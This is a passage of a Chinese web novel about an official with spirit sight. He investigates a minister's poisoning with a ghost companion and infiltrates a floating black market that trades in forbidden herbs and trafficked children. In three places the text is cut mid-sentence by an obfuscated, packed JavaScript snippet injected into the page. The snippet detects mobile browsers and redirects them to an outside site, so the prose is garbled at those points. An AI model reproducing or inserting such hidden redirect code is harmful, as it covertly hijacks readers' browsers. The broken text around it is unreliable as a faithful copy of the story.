《萍水相逢》 1. 案发 李慎元第一次见到谢阿奴时,后者是一只仙鹤,绣在赵府的屏风上。仙鹤本是瑞鸟,应迎祥纳福,这屏风上的仙鹤却带着死亡的气息,生生给这乌衣巷王谢堂带来了厄运。 屏抵足,阴气驻。屏风紧贴床尾摆放,是风水大忌。这不,房里不该在的在了,该在的不在。 昨夜赵府进了刺客,此时赵府的主子,大梁的户部尚书赵锋,这会正不动不响地躺在房间的另一头,双眼紧闭,不进气也不出气了。 人是三更死的,案是五更报的,刑部申时才派人来,他来迟了,只能面对满屋子的幽怨。 李慎元一双眼紧盯着仙鹤,另一双眼在背后幽幽地紧跟着他,好像要盯穿他五脏六腑里藏着几斤墨水几两本事。 “李大人?” 见他在屏风前看呆了,府里的赵管事忍不住出声催促,“李大人,我们老爷可是陛下钦定的户部尚书,你可要好好查。要是怠慢了......哼!”被府里富贵荣华迷了眼的不止一人,赵管事眼珠子往后一转,转出几分鄙夷。 也罢,既然只收了朝廷的俸禄,又没收驱邪的银子,拿一份钱办一份事,今日就不多管闲事了,办正事要紧。 李慎元不是第一次看尸体,掀开裹尸布也倒吸了口气。 这位赵大人是有名的宰相肚里好撑船,这话同他的脾性毫不相关,却另有两个说法。 一是和他一个鼻孔出气的官员们默认他为宰相第一顺位候选人。 第二么,则是暗讽他肚子上的一圈赘肉,带銙都束它不住。 可眼前的这具尸体,缩水得只剩皮包骨头,好像有人将中间填充的血肉骨髓都抽走了,只剩下副皮囊壳子。 尸体干柴一样,呈棕黄色。 桌子上有个杯子,杯子里呈红色。 他转向赵管事,问:“这是什么?” 赵管事言辞闪烁,“杯子。” “杯子里面装过什么?” “补品。” “红色的补品?”看着杯底一圈红色的痕迹,李慎元道,“闻起来像血。” “是西域那边传来的,陛下赏赐的,李大人级别不够,怕是没见过。” “这个杯子我要带回刑部查验。” “你怀疑我们下毒?” “一切要等化验结果出来才好下定论。” “你大可不必担心,府里的人也都是信得过的,我们老爷吃的喝的都有人试毒,不会给人下毒的机会。” “李大人,我看你们刑部秦大人和老爷交好才给你几分面子,你若是执意纠缠,我也很不好办。” 李慎元凑近闻了闻,杯子里有一股子腥味混着甜腻味,却很刺鼻,这味道像火一样在他脑子里烧起来。 火? 是了,之前朝廷查违禁药物时他在天香楼负责焚毁,火光一起,甜腻腻的滋味顺着鼻子爬进喉咙,呛得他嗓子哑了半月,这味道他永生难忘,是碧血草! 碧血草本是一味补药,味甘,少量服用可治风热喉痹,但如果大量碧血草融化成汁,可至误服者喉部麻痹失声四肢无力,早年监管不严时烟花柳巷多用来调教难以管教的娈童,早被朝廷列为禁物。 现在还有流通的,恐怕只有那个地方。找到刺客用的毒药来源,也许能顺藤摸瓜。李慎元抬头望天,天色昏黄,已近酉时,恐怕要闭市了。 想到这,交代了手下人审问昨夜值夜家丁后,他赶紧租车去了沙洲渡。 沙洲渡是城西三十里地的一个小码头,人来人往。下车后,车夫狮子大开口要了一两银子,知道京城米贵车贵,不知道如今是这个价格了,李慎元从袖袋里掏出一两银子,鼓囊囊的袖袋瞬时瘪了。 码头两边挤满了鱼贩,小摊和小摊之间只有两脚距离,鱼腥味、叫卖声全挤在一起,簇拥着挤进他耳朵里。 他站在市场口观察了好一会,才走向其中一个摊贩。这摊贩左脸有一道凌乱的疤,瞧着原是刻了字又被人几刀划了。他看着和和气气的,眼睛清亮,盯着四面八方,身体动作却很紧张,手时时刻刻放在身后准备,像是习武之人。 他掏出444文买了一斤鲜鱼,湿润的荷叶裹住鱼肉,以草绳捆扎,他拎着草绳的另一头。 结账时他小声说道,”船过龙王家“。 小贩听到这话,立刻抬头打量他,眼神犀利,倒显得他像一条被挑拣的肥鱼。目光在他这里游走几轮后,小声回道,“大水冲沙。” 李慎元回,“寸草不留。” “哎哟,您看,找少了。”说着小贩从身后篮子里摸出一张纸,垫在零钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526849|186335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下递回。 镗——嗡,镗——嗡,镗——嗡。 刚收下找零,耳边传来清冷的声音,是市吏在鼓钲楼上击钲闭市。清凉的风掠过鱼市,一股腥味直冲天灵盖。 “收摊了收摊了,可累死老娘了。” “你们今儿吃什么?” “中午老孙留了几条鲤鱼给我,肥着呢,一会都来我家吃饭。” “婶子,又麻烦你了。” 收摊的妇人汉子们提着满满一篓子菜回家了,李慎元跟在她们身后三四十步提着鱼慢慢走着,天黑透了月上梢头才到家。 他住的地方在东郊,隐在山边的一栋茅舍,他俸禄不多,只好择远而居。这地方赴衙要一个时辰,四更天就得出门,若是冬月,风又急又冷,更是让人想窝在被窝里躲懒。 他将鲜鱼一锅煮了,土酥切片,撒入百辣云、菜伯、玉粒去腥,美美饱餐一顿后,揭开金陵春小酌一杯,靠在窗边躺椅上歇息,眼皮往下一拉就睡着了。 不知几更了,月光晃得人睡不着,突然又感觉有什么遮住了明晃晃的玉盘。他挣扎着醒来,看见窗口坐了个人,背着光看不清眉眼,黑脸黑衣,像一堵墙牢牢挡住了月光。 李慎元问,“你坐这里做什么?” “帮你遮月。” “哦,那多谢你了。” “救我离开,就当谢我。” “什么?” “救我离开。” “离开哪?” “离开——” 话未说完他像被什么力量拽着往后,双手却往李慎元眼睛抓来。李慎元想躲开,可身体却像被什么束在了躺椅上,不听使唤,只能任由那双手袭来。 猛倒吸一口气从榻上弹坐起,李慎元这下彻底醒了。 没有什么窗边人,只剩月光直晃晃照着他。 手上嗡嗡地响,五帝钱感应到了邪气,是白天那只仙鹤?他左眼先天比人家能多看到点东西,五岁前辨不清阴阳,旁人见他总一个人说说笑笑吓得避之不及,为这母亲总带着他搬家。本以为升职来了京城龙气盘桓之地,会少些小鬼,没想到他不过多看了两眼,就被缠上了。 他坐起来揉了揉鬓角醒神,又轰的一声倒下躺着。看来得走一趟赵府了,真不想半夜出门啊。 2. 谢阿奴 月上南中天,赵府。 一个小厮睡不着出来对着墙撒尿,听见树叶簌簌响。 “怪了,没风啊。” 话刚落地,他面前的那颗树又轻轻动了动,这下他心里一惊,莫非是赵大人的魂魄回来了。他听人说过,枉死的人魂魄会留在附近盘桓。这下他越想越害怕,好像赵大人吊着舌头要来索他的命了。 “鬼鬼...有鬼啊——————”,他嗓子喊破了音,一屁股摔在地上,裤子也顾不得穿好,连滚带爬进了屋子。 “唉”,待他走了,树上传来一声叹息。接着一个黑影从树上一蹬跳上墙,一路跃上屋顶,来到白天那间屋子。靠近屏风,他手上的五帝钱嗡嗡动起来。 他当即走近了,左手捏个三山诀,“三魂七魄,听吾敕名,出!” 那屏风上的仙鹤像是活了,化作黑影从屏风中飞出,飞到阴影里便融入那黑色,消失不见了。李慎元靠近屏风,五帝钱也静下来不动了。 跑哪去了?那黑影的气息就这么消失了。它跑了几百里给他托梦,搅得他睡不着,就为了叫他大晚上来玩捉迷藏? 他往后退贴着墙站,环视房间,月亮轻轻透进来,拉出朦胧的影子。房间的另一边,是月光不及之地,爬满了黑影,它会在哪里不言而喻。 李慎元闭眼打开神识在黑影里扫了一圈,什么都没发现。已经逃出屋子了吗?但是气息还在,而且闭上眼时感觉它近在眼前。 李慎元睁开眼,看着窗外的月亮,又看看自己的影子,这样浅的月光,影子却太黑了。 他一脚踩住自己的影子,手弓成爪往地下自己的影子里抓去,影子缩成一团裹上来。他不管是三寸还是七寸,先一把掐住黑影,打了一个滚直往窗边去。 “抓住你了。” 显然这仙鹤生前也了解过最危险的地方最安全,竟然借力掩盖了自己的气息,藏在他的影子里。 黑影仙鹤化作人形,见已落网,也不挣扎,对他发号施令,“你说了要谢我,送我出去。” 李慎元对此不置可否,“强盗逻辑。” “既然你不愿意,那你走吧。”黑影又盘桓到屏风上,一动不动了。李慎元看不清它神色,不知对方是否很失落。 “谁在里面?”一人一鬼博弈时,赵管事的声音从院子里慢慢靠近。 “管事,是...是不是老爷回来了?”他身边跟着另一个战战兢兢的声音。 “胡说什么!” 声音愈来愈近,李慎元从窗子跳出去一蹬腿打算溜走,在半空中像被什么挡了一下,挨了一记重击又掉下来。他磕到头闪了腰,脸色阴沉着回到屏风前,问道,“你做了什么?” “你不遵守约定,这是对你的惩罚。”这下即便看不清脸,李慎元也知道它一定很得意! “巡夜的人来了,带我出去,咱们就各走各的,你也不想被人发现夜闯尚书府吧。”它漫不经心地发话。 声音已经到了门外,李慎元抓住魂,跳出后窗,往后一蹬飞上墙,不放心用手在头上挡了一下,这次果然没被拦住。他出了赵府,踏着屋顶一路往北去。 大概功夫练得不到火候,靴子踩在瓦片上咔嚓咔嚓地响,不知踩碎人家多少瓦片。半个时辰后好不容易离开民房聚集的地方,来到一处林子。 黑影嘲讽道,“没见过武功这么差的贼。” 李慎元脚下无力,嘴上却不示弱,“贼喊捉贼。” 见他还没有要停的意思,黑影忍不住问道,“这是去哪?” “救人救到底送魂送到西。既然你不知道去哪,我送你去该去的地方。” 彼时乌云遮月,林子里雾蒙蒙的,只断断续续听得几声鸟叫,气氛像极了杀人放火的好日子。 又听了这话,被李慎元一手抓住的黑影开始不安分剧烈挣扎起来,“你要带我去哪?” “白云观,主营符箓斋醮、降妖除魔。不管你是什么成分,去那一验便知。” 白云观是白云山上一座小道观,小到四个人进去都转不过身来。还好观里只住了一个道士,去尘上人。李慎元幼时眼能通阴阳,怕他被小鬼缠上,母亲将他寄名在道观,拜去尘上人为徒。此时,他便是要带这黑影去白云观。 黑影反手想偷袭李慎元,却直直地从他身上穿过,这才想起来自己已经死了。 “我能是什么成分啊,李大人,我不过是赵府一个小小的护院家丁。” 听到这话李慎元不走心地冷笑一声,“护院家丁不护院,待在主子家屏风上?” 鬼魂两手一摊,“我现在这个样子,还怎么护院?” 想到袖中法器,谅他也逃不走,李慎元背靠着树停下,“你既托梦让我来救你,总得告诉我你是什么人,为什么待在这屏风里。” “我是赵府的家丁。” “那是你上工的身份,你的名姓呢?” “谢阿奴。” 竟然答得这么爽快,李慎元挑眉,刚刚耍得他团团转,不相信它会突然这么老实,“是你真名?” “行不更名,坐不改姓。” “你怎么变成这副摸样?” “昨晚我像往常一样经西厢房去东厢房巡夜,感觉什么东西向我飞来,脖子一凉,就这样了。” 既然这样,他就是目击者,李慎元问道,“你有看清刺客的模样吗?” “没有,我醒来就发现自己被困在那间卧室了。” “你不能离开?“ “我出不去那间屋子,只要到门口,又会被弹回来。白天不能见光,只好栖在屏风里。” “你签了卖身契?” “不曾,我是赵府的管事从人市临时招的。” 不是卖身契限制,那就是有冤情了。现在不仅要断死人官司,还要断死鬼官司! “行,走吧。” “去哪?” “白云观。” 若去了那什么劳什子观,恐怕不得脱身了。黑影顺着李慎元的手臂攀上去,李慎元顿觉半边身体都凉透了,只好把它甩开,黑影趁机逃脱。 还没逃出两步远,一个黄色影子从天而降,将它衔在嘴里,两只爪子站在李慎元肩上。 “干得好,豌豆黄。” 豌豆黄是去尘上人在山上采药时救的鸟,通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526850|186335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体金黄,于是得名豌豆黄。它常随道长修炼,也修出几分灵气。 山中大雾弥漫,辨不清路,李慎元上山时听到的鸟叫声便是豌豆黄盘旋在高处为他指路。 李慎元摸摸它的头,它也亲昵地蹭蹭他。 只有受伤的谢阿奴还在挣扎。 “放开我,死鸟!” “你别费力气了,这山里设了禁制,没有允许外面的人进不来,进来的人...和鬼也出不去。” 豌豆黄捧哏似的咕咕叫了两声。 见谢阿奴还是不情不愿的,便道,“这边的事,我会查清还你一个公道。你的家人,如果有需要,朝廷也不会不管。” 过了好一会,以为他不会说话了,李慎元才听到,“我爹娘都死了。” 李慎元脚步一顿,道,“那更没什么可留恋的,只管喝了忘情水,过了奈何桥,前尘往事皆抛脑后。”想了想又给人吃一颗定心丸,“我给你找的这位道长法力高强,你不必忧心。” “放开眉头,敞开肚皮,只管喝,只管睡。” 今日观中无事,守一道人躺在崖边大石头上正打算小酌一杯。豌豆黄从山下飞上来抓走了酒杯,道人正打算训斥这没规矩的鸟,远远的看见自己的徒弟往山上来了,好像还带了东西。 来就来,还不忘带东西来孝敬师父,这徒弟没白收,守一道人心甚慰。 再定睛一看,坏了,这逆徒带的是不祥之物。 他拿起云帚正要拂去那不祥之物。 远远听见他徒弟大喊,师父手下留人! 顷刻间便走近了,经他那徒弟如此这般,如此那般一解释,才了解个中缘由。 原来是要他超度新魂。他超度亡魂无数,自己找上门来要求送走自己的还是头一遭。 他看了看徒弟手上的五帝钱,已经摘下。想来是因为这驱邪之物让二人之间有了纠葛,助这孤魂渡桥,也算了结了这项因果。 当下问了命格名姓,选了吉日。 见一切安排妥当,李慎元便将这新魂留在观里,下山了。 下山后李慎元整日为赵锋的案子查证和各部门左右周旋,忙得晕头转向。几日后,李慎元收到师父来信。守一道人在白云观修炼多年,主营业务有符箓斋醮,祈福禳灾,降邪驱鬼,超度追荐,也算有口皆碑,竟然失手了。 他不得不翘班去一趟道观,守一上人说,这魂在世间还有因果,无法超度。既是这样,你带他下山吧。这符咒给你,可护你不受阴邪侵扰。 李慎元问,留在观里不行吗? 守一道人横躺在观里蒲团上,占了大半位置,李慎元只能站在观外。 守一道人看着他,幽幽道,“至真,这是你的因果。” “我的因果?” “各人生死各人了。你看见他视而不见即可,你将它从屏风中唤出,也是一种因果。你介入他人因果,恐增你业障。” “他留在道观会魂消魄散,如今他同你有因果,随你入世,也许有破局之法。”说完便又翻身睡了。 李慎元心想,最近要办的事确实缺个信得过的帮手,便将谢阿奴带下山。 3. 往生栈 圆月碎成几块映照在海上,无边无际的黑暗中出现了几点红光,近了,原来是一艘小船,船上一人划桨,来人正是前几日鱼市里同李慎元做交易那个鱼贩。 前几日李慎元在沙洲渡口一个鱼贩那对切口买了票,是黑市的通行证,今日便是黑市开市的日子。 黑市名为三更墟,一年中只在节气开放。为防止有人买卖不成闹事,便开在海上,随信风移动,没人知道具体位置,想上船交易只能靠摆渡的接济。摆渡的会伪装成在码头卖鱼的鱼贩,筛选合适的客人。 李慎元身边还跟着个人,此人衣着富贵,脸却白得像抹了两层粉,站在岸边却薄得像纸,好似风一吹他就会飘走。 小船靠岸后,李慎元熄灭手里的绿灯笼,拿出船票。鱼贩放在红灯下验后便拿出火折子烧了,示意二人上船,递上黑布蒙面。 眼睛看不见,身体的其他感觉反而敏锐起来,他感觉脚下开始晃荡。 李慎元坐着小船到海中间,前面有人扑通一声落水了。 “怎么回事?” 船夫没救人的意思,仍不紧不慢得摇着桨叶。 “公子不必忧心,那是官府的奸细。” 作为官府的奸细本人的李慎元一听这话心里揪成一团,他听见纸人谢阿奴轻笑一声。 “常有的事,朝廷的探子乔装而来,被发现了,就处水刑。不过您不必担心,真正的朋友会被邀请到大船上。” 听了这话他心里更是有一百只豌豆黄在大叫,面上却不得不保持着镇定。生怕哪个表情不对对方就翻脸把他扔到海里。 李慎元很紧张,他想透过蒙在眼前的黑布看看边上的纸壳子谢阿奴,朦朦胧胧看不清楚。他又低头看了看水下,好像有之前被扔下去的人在水下盯着他。只好闭上眼,坐定,心里开始念净心神咒定神。 太上台星应变无停 驱邪缚魅保命护身 ...... 李慎元觉得自己念了有三十来遍时,鱼贩摘下二人蒙眼黑布,眼前是一艘气派的大船。船上的人带着鬼头刀,月光映照下冒出森森寒气。 船上却静悄悄的,好似飘在海上的鬼屋一般。 登船后,才发现四面八方有人从小船上由摆渡的引上船。不独他一艘船。 等船上的汉子敲响了梆子,三长三短,船沿一点一点亮起来了,奏乐声如轻雷响起,接着整艘船都亮起来了。李慎元望着红莲的影子在琉璃灯上摇曳,心念也跟着动起来。寻常百姓家只点得一盏煤油灯,还要紧着用,哪怕官员府邸也不过十几盏灯,而船上照得如白昼一般,简直不知是地上河还是银河。 他此番是来找从海上黑市往生栈流出的碧血草,定了定神,突然大摇大摆同手同脚地走起来,谢阿奴欲言又止一番还是忍不住出口道,“你发痴了。” “我在学京里的纨绔子弟走路。” “......” “不像吗?” 根据他线人的消息,三更墟共有五层,一层甲板上是给败家弟子卖祖器的地方,祭器礼器、御赐之物、祖传书画、田黄石印,先人泣血所得,后世人却挥金如土。 “掌柜的,您看,这宝贝是祖上请回来的,如今家母病重,您多少行个方便。” 看着眼前变卖祖产的败家子,谢阿奴嗤笑一声,“此人猪眼塌鼻,唇色青灰,脂膏浸面印堂发黑,病重的恐怕另有其人。” 掌柜的听见往这边瞧,李慎元怕他做的纸壳子不禁用,只好笑着挡在谢阿奴面前。 被挡住的谢阿奴从背后评价,“酒囊饭袋。” 李慎元讪讪的笑两声,用两个人能听清的声音小声道:“算命先生,少说两句吧。” 再往上,是水老鼠置换偷来的赃物的地儿。这些人偷了东西往水里跑,沿河销赃。赃物上打着官印的,失主不敢声张,律法规定买赃者与盗同罪,当铺不敢收,但这里来者不拒来者不忌。 再往上,是卖药剂的地方,也叫往生栈。这里既卖蛇虫鼠蚁,也卖医死人药白骨的神药,还有传说吃了能长生不老的丹药。 再再往上,据说是卖生人的地方,且生人又有好几种卖法,囫囵个卖,拆开卖。 最上面一层,是瓢把子所在地。 李慎元的目的地就是第三层,能大量购置碧血草的地方只有往生栈。他不再停留,直往第三层去。 刚上三层,就闻到药草味。这里不像李慎元来之前想象的那样恐怖,反而像寻常百姓堂的布置,堆满了放药草的柜子。 柜台里坐了一个老头,脸上盖把蒲扇,身下的摇椅吱呀响着,老头咿咿呀呀的唱着不知什么调。 “这有碧血草吗?” “没货。” “我听说只有您这有卖,您可别晃我。” 老头小声嘀咕,“怪了,最近要碧血草的人怎么这么多。” 果然是从这里流出去的。 老头从椅子上坐起,正了正精神,道,“小子,你要碧血草,小老儿今天心情好,不收你银子。只要你帮我办一件事儿,事儿办妥了,要多少小老儿这里有多少。” “什么事?” “去四层,帮小老儿取一样物件。” 听到四楼,谢阿奴皱了皱眉。 “取什么?” “鹤顶红。” 李慎元瞧老头身后的药柜,应有尽有。 “你这里这么多毒药,还要去别人那里取鹤顶红?” 老头捂着心口,好似很痛心一般捶胸顿足,道:“你不知道,那原本是小老儿的宝物,黑心的拍花的从我这骗了去,可怜我年迈,都来欺我。” “既然这么重要,你为何不自己去,却相信我?” “船上商户皆有登名造册,客人能随意走动,小老儿却不能去四楼,只能拜托你了。” “好,一言为定,我帮你把鹤顶红拿回来,但是,你要给我之前那人买过的同等分量的碧血草。” 听到这话谢阿奴皱了皱眉,老头虽然不明白但还是点点头答应。 “我怎么知道你不会骗我?” “嘿,你还跟我较上劲了,卖出买进小老儿账本上记得清清楚楚,你不信,等你回来一看便是。” “行,你最好说到做到。” 李慎元拔腿就走。 谢阿奴拦住他,“你真要去?” “他不收银子,我有什么办法。” “他不老实,八成有诈。” 李慎元苦笑,“何止八成,简直十成有诈。” “那你还去?” “算了,船到桥头自然直。再说,这不是还有你帮我。”说着将手肘靠在谢阿奴肩上。 谢阿奴推开他:“我没说过要帮你。” 李慎元道:“咱俩都上了贼船,是一条船上的鱼,就算被人家发现丢下去也是一条河里的死鱼,现在说不帮我也迟了。” “强盗逻辑。” 李慎元走到楼梯口,一路去到四楼,这里是人市。 脚刚踏上四楼的地面,就有一个嘴里发着光的人迎上来。等他走近了李慎元才看清,这人嘴里镶了一颗金牙在发光。 “客人,您买什么呀?” “随便看看。” “我们这卖杀人越货的恶人,卖小孩,卖女人,不论年纪性别作用,只要你有需求,这里就有‘货’。不过,有一条,只租借,不签卖身契,这里买卖的货物都是在朝廷没有户籍的黑户。” 李慎元听得心惊,谢阿奴更是在一旁恶狠狠地瞪着大金牙,大金牙被他瞪得不自在,“这位客人是?” 李慎元把大金牙拉到一边小声说,“他刚在下面贱价买了家里一副墨宝,正心里不痛快呢。” 大金牙看谢阿奴一副病秧子的模样,露出了然的笑容,道:“害,不碍事,正所谓失之东隅收之桑榆,这四层的宝贝可是物美价廉。” 谢阿奴自顾自的往前走。 大金牙又追着李慎元问,“客官你们来这到底是想买什么?” 看到前方门口上有鱼价标记,想起老头说看到这个就是找到地方了,于是快步走过去。 大金牙也快走两步跟上,“欸——既然见面就是缘分,我再多嘴提醒您一句,可千万别买本地人,本地人价格低,但是买回去容易被人认出来,是烫手货。” 等店内出来一个人,大金牙早跑得没影了。 店内伙计看了看大金牙逃跑的方向,又上下打量了李慎元,道:“又一个被骗的苦主。” “?” “你快看看你身上少了什么吧。” 李慎元低头看,腰上缀了一根绳子,绳子下空空荡荡,他的玉佩不见了! 他正想追上去。 伙计道:“已经晚了。” “鬼市的规矩就是这样,你得了便利,他收了报酬。至于取什么报酬,你的衣服,你身上的部件,还有你身边这位小哥,都算。来这儿的得背后长眼睛,可得看好了。” 这是什么地方啊!他以为就是倒卖赃物,竟然牵出这么多罪孽。答应了那老头,不拿到他要的东西,也脱身不得。 “你们买什么?我们这有一枝春,双生果,白蹄豚,三寸莲,空心竹。” 李慎元听得一头雾水,待进到里屋,雾水化作冷汗流下。里面的“货”竟然是一个个小孩。有的挤在一块, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526851|186335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻身不得。也有长相清丽的,单独放在一个笼子里。小孩手腕上系了红绳,蓝绳。 那老头为什么叫他们来这里寻鹤顶红,难道鹤顶红不是指一味药? 谢阿奴瞪着李慎元,道:“丧心病狂。” 李慎元直截了当的问:“这里有鹤顶红吗?”手下暗暗递给伙计几两银子。 伙计盯着他好一会,笑着说:“你也听说了?” 李慎元一头雾水地点点头。 伙计鬼鬼祟祟往店外看,道:“平时老板在都不让我们进去看。趁老板不在,可以带你看一眼。”将银子揣进怀里,便带着二人往更里间去。 里间很暗,点了蜡烛。等眼睛慢慢适应黑暗后,李慎元才看清地上坐着一个体格青年模样的人,头发四散遮住脸,身上只着片缕,只是安静坐着,有人来身边也没反应。 “他是?” “他呀,不卖。这是我们老板跟三层阴行郎中打赌赢来的。是个药人,能试毒,也能解百毒,叫鹤顶红。这可是千金不换的好货。” 原来鹤顶红不是什么物件,是一个活生生的人。 “要不是他输给我们老板要砍下他一双腿,还换不来呢。”又凑近小声说:“我就带你看一眼,你可别跟别人说。” 李慎元同谢阿奴对视一眼,二人往相反的方向走去。 李慎元掏出药粉迷晕了伙计,谢阿奴则踢碎了锁链绑住的木头。二人一左一右抓住鹤顶红,他也毫无反应任由摆布。 这时门外传来脚步声,紧跟着一句怒骂,“六儿,又去哪躲懒了,看我不打死你!” 三人刚出内间就撞上了,这人头戴藏珠逍遥巾,身穿褐色绸缎衣裳,脚踏云雁纹靴,整个人都金光闪闪的。 李慎元暗骂一句,怎么这么背。箭在弦上不得不发,只好率先往前撞开对方,结果对方纹丝不动。 掌柜的朗声大笑,他笑得毫不费力,李慎元却觉得头痛欲裂。 “小子,我练的金钟罩已练到了第十一层,你的铁头功只怕还差点火候。” 说完扯开头巾上的珠串,李慎元只觉得一枚珠子在眼前旋转着打来,连忙将桌上的杯子拍出阻拦。一个杯子和珠子对冲,杯子碎成齑粉。李慎元摸摸自己的眼睛,有惊无险。 见李慎元不是这人对手,谢阿奴冲上前来,挡在二人之间。 “带他下楼,我断后。” 打闹声吸引了船上的打手,左右涌上前来的人越来越多,声音嘈杂起来。 谢阿奴苍白的脸上浮现紫红色的细纹,李慎元嘱咐道:“你算着时间,不要硬来。”便一手抓着鹤顶红另一只手扯了一根从上往下吊的红绸往窗外跳,红绸拉扯着他往上,鹤顶红坠着他往下,两道力量像要把他撕裂。他强忍着痛,他使劲往船壁一蹬往外荡去,两人一齐滚到三层。 那老头听得楼上这么大动静,料想出了事,正收拾包袱打算跑路。 见二人闯了出来,神色一定,责怪道:“哎哟,我要你悄摸的,你怎么闹出这么大动静。” 说着要来拿鹤顶红。 李慎元侧身一挡,“先把答应我的拿来。” 二人僵持了一会见不拿出来他就不打算让步,老头叹了口气,从包裹里摸索了一会,掏出一个泛黄的本子,翻到中间几页,指着其中一列,道:“六月三日,傅购碧血草十六两,价银两千两白银。” 只有个姓傅的买过,就留了姓。他盯着账本,似乎想把那天的来龙去脉都盯出来。 “这个人长什么样?” “来来往往这么多人,小老儿怎么记得。” “这么多药材你都记得,上个月来的人你就忘了?况且,一次性买这么多药出手阔绰的人不多。”李慎元在账本上摸索着,好几项记着赊购。 李慎元逼近,被掌柜的震了一下,又被红绸和鹤顶红两相拉扯,李慎元脑中像有火在烧,烧得他红了眼。老头突然泄了气,“他蒙着脸,我没看清。” “那就说你记得的。” “他,他长了一双丹凤眼,细长的,其他的我真没看见。” 李慎元左右环顾,抄起椅子准备砸。 “哎哟,我我我想起来了,他右手,右手是假的。” “什么意思?” “他右手像是木头做的。” 杀手右手缺失? “还有呢?”他举着椅子威胁道。 “真没了真没了,然后他就走了。你就是把我扎成筛子,我也是什么都不知道了。” “可以把宝贝还我了吧,”老头眼神中透出贪婪,望着鹤顶红。 李慎元伸手一拦,正要发作,听得上面一声巨响。 4. 老马 “来人啊——砸场子的来了!” 李慎元跑到走廊往上看,小孩子,数不清的小孩子在走廊上跑,脏兮兮乱糟糟的,手腕上系着红色蓝色的绳子,是四层关在笼子里的小孩。怎么回事?谢阿奴做了什么? 四层乱成一团,小孩女人四处乱跑,追喊声、尖叫声混成一团横冲直撞,一个球状物从楼上飞下来砸到地上砸出一个大坑,李慎元心想这下完了,谢阿奴捅了人老窝了。 正想着,谢阿奴从砸坏的坑里爬出来,看他目瞪口呆的,大喊一声跑! 那掌柜的还在坑里破口大骂,身后追兵来了,他来不及想,只好跟着跑。他二人一直跑到船尾,无路可走。 李慎元道:“要你断后,你给人家老窝都捅翻了!” 谢阿奴道:“我这是替天行道。” 听了这话李慎元破口大骂:“你非要挑今天吗?” 李慎元看了眼后头愈来愈近的追兵,又看了看前面黑漆漆的海水。 “择日不如撞日——”谢阿奴说完这句话,被李慎元一个黑熊撞树撞飞,两人一同摔进海里。 谢阿奴刚刚一身苍白本是李慎元用桑皮纸做了纸衣承魂,一入水身上便化了。这样也好,在那纸壳子中他处处受限,动作不能太大,一运劲纸衣上便生出血肉纹路来,这下他便能来去自如了。 身后追着的人跟下饺子似的跳下来,李慎元不敢回头看,憋足一口气往前游,直到感觉自己要溺水了。这时他感觉喉咙一紧,似乎什么在身后紧紧揪着他的衣领往上拉,随后像是把他丢在了木板上,触感很结实,脚下有屏障,比刚刚在水下安定得多。 他尚未清醒,听见有人在说话,声音大得像有人在他头顶打雷,“李大人,是你啊。” 他用手揉去眼角的海水,眼睛火辣辣的疼,这才看清来人,“老马?你怎么在这?我不是让你在岸上等我吗?” 老马是上次他来沙州渡的马车夫。李慎元想着从黑市离开后要个人接应离开码头,车行的马车夫没有愿意晚上跑的,只有老马答应了。他们说好等李慎元出了三更墟让老马就在岸上接他。出了这么多事,他把这事忘了,老马不知从哪里找来一艘船接他来了。 “你不让来接你吗?我看这船上起火了,怕你有事,今晚白跑一趟,马车停在岸边,就划船来接你来了。刚划到这附近就看你跳船了。这不,就捞着你了。” “多谢了。” “谢啥,捞你的钱也要付啊。” “行,上岸了我给你,快走吧。” 划着划着,李慎元感觉船的速度越来越慢,脚踏实地的感觉消失了,自己好像坐在水里一样,低头一看,原来不是错觉,船真进水了! “老马,船进水了!” “娘嘞,船咋进水了?这事整的...” 两人乱七八糟地脱下衣服堵住破洞,船上除了两个人就是桨,李慎元只好双手往外舀水,夜里海上风凉,他还是忙得满头大汗。他觉得自己大概是累得头晕眼花了,因为他看见老马站在船头,开始——放声歌唱? “隔山喊妹山回声 隔水喊妹水应声 妹是泉水—— 哥是石头——” 他声音嘶哑,好似马上要跨过山海把阿妹扛回来。如果现在是在社戏台,他一定为他掷碎银撒金箔,但是现在他们在海上逃亡,命悬一线,实在不是你侬我侬演白蛇传的时候。 他双手在水里划希望能快点,但是杯水车薪,船已经沉了一半。 他往后靠在船沿上,想他遇人不淑遇鬼不淑遇船也不淑,今日怕是要命丧于此了。他死了,衙门大概会为赵锋一案谁负责争吵不休,不知道娘会不会让师父来给他念往生经。 不行,想到这里他觉得自己还不能放弃,决定泅水回到岸上。 正想着,竟隐隐约约听到有人应和这歌声。 听到回应,老马的嗓子更亮了。 四处都是雾瞧不清楚,只听得一唱一和间,声音越来越近。 